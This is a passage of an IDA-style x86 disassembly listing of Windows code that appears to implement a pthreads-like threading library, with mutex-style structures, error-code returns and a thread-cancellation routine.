; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E650:				; CODE XREF: ___:0040169Fj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E680:				; CODE XREF: ___:00401D2Fj
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42E6B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6B7:				; CODE XREF: ___:0042E6AAj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_50FA60
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4454F4
		push	ecx
		call	edi
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E6F8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6F8:				; CODE XREF: ___:0042E6EBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4456F8
		push	eax
		call	edi
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E754
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4456F0
		push	esi
		call	near ptr 77C41B72h
		nop
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42E754
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E754:				; CODE XREF: ___:0042E717j
					; ___:0042E738j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E7B0:				; CODE XREF: ___:004013BBj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42E7E0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7E0:				; CODE XREF: ___:0042E7D5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_445704
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E81B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E81B:				; CODE XREF: ___:0042E80Bj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E880	proc near		; CODE XREF: sub_4016A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
sub_42E880	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8B0:				; CODE XREF: ___:004016C7j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8E0:				; CODE XREF: ___:00401492j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	esi, dword_50FA60
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_44571C
		push	eax
		call	esi
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E979
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_445710
		push	edx
		call	esi
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E979:				; CODE XREF: ___:0042E901j
					; ___:0042E91Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E9C0:				; CODE XREF: ___:00401C67j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E9E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: ___:0042E9E0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_445728
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EA40	proc near		; CODE XREF: sub_401D52j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42EA79
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42D1A0
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_50FAC4
		push	ecx
		call	edi
		push	esi
		call	edi
		add	esp, 8
		pop	edi


loc_42EA79:				; CODE XREF: sub_42EA40+Aj
		pop	esi
		retn
sub_42EA40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EA90:				; CODE XREF: ___:0040219Ej
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42EAA0
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAA0:				; CODE XREF: ___:0042EA97j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42EAB6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAB6:				; CODE XREF: ___:0042EAADj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB10:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EB29
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EB29:				; CODE XREF: ___:0042EB20j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB60:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42EB85
		test	eax, eax
		jz	short loc_42EB85
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42EB85:				; CODE XREF: ___:0042EB74j
					; ___:0042EB78j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBB0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EBC9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBC9:				; CODE XREF: ___:0042EBC0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42EBDD
		cmp	eax, 1
		jz	short loc_42EBDD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBDD:				; CODE XREF: ___:0042EBCFj
					; ___:0042EBD4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC00:				; CODE XREF: ___:0040150Fj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC20:				; CODE XREF: ___:00401825j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC40:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC59
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC59:				; CODE XREF: ___:0042EC50j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC80:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC99
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC99:				; CODE XREF: ___:0042EC90j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECC0:				; CODE XREF: ___:004019A1j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECF0:				; CODE XREF: ___:0040199Cj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_42ED12
		dec	eax
		jz	short loc_42ED02
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42ED02:				; CODE XREF: ___:0042ECFAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_42ED12:				; CODE XREF: ___:0042ECF7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED30:				; CODE XREF: ___:00401C08j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_42EDCB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_42EDCB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42EDC2
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		jmp	short loc_42ED72
; ---------------------------------------------------------------------------


loc_42ED70:				; CODE XREF: ___:0042ED64j
					; ___:0042ED6Aj
		xor	eax, eax


loc_42ED72:				; CODE XREF: ___:0042ED6Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDB8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDAF
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDAF:				; CODE XREF: ___:0042EDA7j
		push	edi
		call	sub_401686
		add	esp, 4


loc_42EDB8:				; CODE XREF: ___:0042ED92j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_42EDC2:				; CODE XREF: ___:0042ED5Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDCB:				; CODE XREF: ___:0042ED39j
					; ___:0042ED45j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EE10:				; CODE XREF: ___:004021E9j
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42EE78
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42EE78
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE6E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE5F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE5F:				; CODE XREF: ___:0042EE4Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C76
		add	esp, 0Ch


loc_42EE6E:				; CODE XREF: ___:0042EE3Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE78:				; CODE XREF: ___:0042EE1Aj
					; ___:0042EE21j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EEB0:				; CODE XREF: ___:00401799j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42EF64
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42EF64
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 277078Fh
		test	eax, eax
		jnz	short loc_42EEF7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42EF44
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_40204A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42EF40
; ---------------------------------------------------------------------------


loc_42EEF7:				; CODE XREF: ___:0042EED8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42EF1B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF1D


loc_42EF1B:				; CODE XREF: ___:0042EF07j
		xor	ebx, ebx


loc_42EF1D:				; CODE XREF: ___:0042EF19j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42EF40
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42EF40:				; CODE XREF: ___:0042EEF5j
					; ___:0042EF2Fj
		test	esi, esi
		jnz	short loc_42EF5E


loc_42EF44:				; CODE XREF: ___:0042EEE2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_50E3EC	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42EF5E:				; CODE XREF: ___:0042EF42j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF64:				; CODE XREF: ___:0042EEB7j
					; ___:0042EEC1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFA0:				; CODE XREF: ___:00401F50j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_42EFC3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42EFC3:				; CODE XREF: ___:0042EFB2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFF0:				; CODE XREF: ___:00401A73j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42F011
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42F011
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F011:				; CODE XREF: ___:0042EFF9j
					; ___:0042EFFFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F030:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F04D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F04D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F04D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F04D:				; CODE XREF: ___:0042F036j
					; ___:0042F03Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F070:				; CODE XREF: ___:0040162Cj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F09A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F09A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F08E
		test	eax, eax
		jnz	short loc_42F09A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F08E:				; CODE XREF: ___:0042F085j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F09A:				; CODE XREF: ___:0042F076j
					; ___:0042F07Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F0B0	proc near		; CODE XREF: sub_40140Bj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F0B0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 0E8525738h, 23412C3h, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 341483E8h, 0A4E85302h
		dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h,	83FFFD1Fh
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F170:				; CODE XREF: ___:0040223Ej
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 341202E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 3413C3E8h, 0E4E85702h
		dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F230	proc near		; CODE XREF: sub_401CEEj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F230	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 64E89050h, 85023411h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
		dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F2B0:				; CODE XREF: ___:00401D25j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42F3E9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42F2EB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F2EB:				; CODE XREF: ___:0042F2DCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402225
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42F3C2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42F3C2
		cmp	[esi+0Ch], ebp
		jge	loc_42F3D5
		test	edi, edi
		jz	short loc_42F354
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F354:				; CODE XREF: ___:0042F329j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 2760A34h
		push	0
		push	edi
		nop
		call	near ptr 27703BFh
		cmp	eax, 102h
		jnz	short loc_42F3E2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 2760BEEh
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42F460
		push	ecx
		push	edi
		nop
		call	near ptr 2760D0Dh
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 2770000h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F3C2:				; CODE XREF: ___:0042F30Dj
					; ___:0042F318j
		cmp	[esi+0Ch], ebp
		jge	short loc_42F3D5
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 2770220h
		nop
		test	eax, eax
		jnz	short loc_42F3D9


loc_42F3D5:				; CODE XREF: ___:0042F321j
					; ___:0042F3C5j
		mov	[esp+10h], ebp


loc_42F3D9:				; CODE XREF: ___:0042F3D3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_42F3E2:				; CODE XREF: ___:0042F36Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_42F3E9:				; CODE XREF: ___:0042F2CFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F460:				; DATA XREF: ___:0042F390o
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F480	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_50E3DC
		push	esi
		push	eax
		call	sub_401190
sub_42F480	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42F4BE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42F4AC
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F4AC
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42F4AC:				; CODE XREF: ___:0042F49Bj
					; ___:0042F4A1j
		mov	edx, [esi+8]
		mov	eax, dword_50E3DC
		push	edx
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42F4BE:				; CODE XREF: ___:0042F493j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F4F0	proc near		; CODE XREF: sub_401659j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_50E3DC
		push	edx
		call	sub_401190
sub_42F4F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_50E3DC
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F540	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
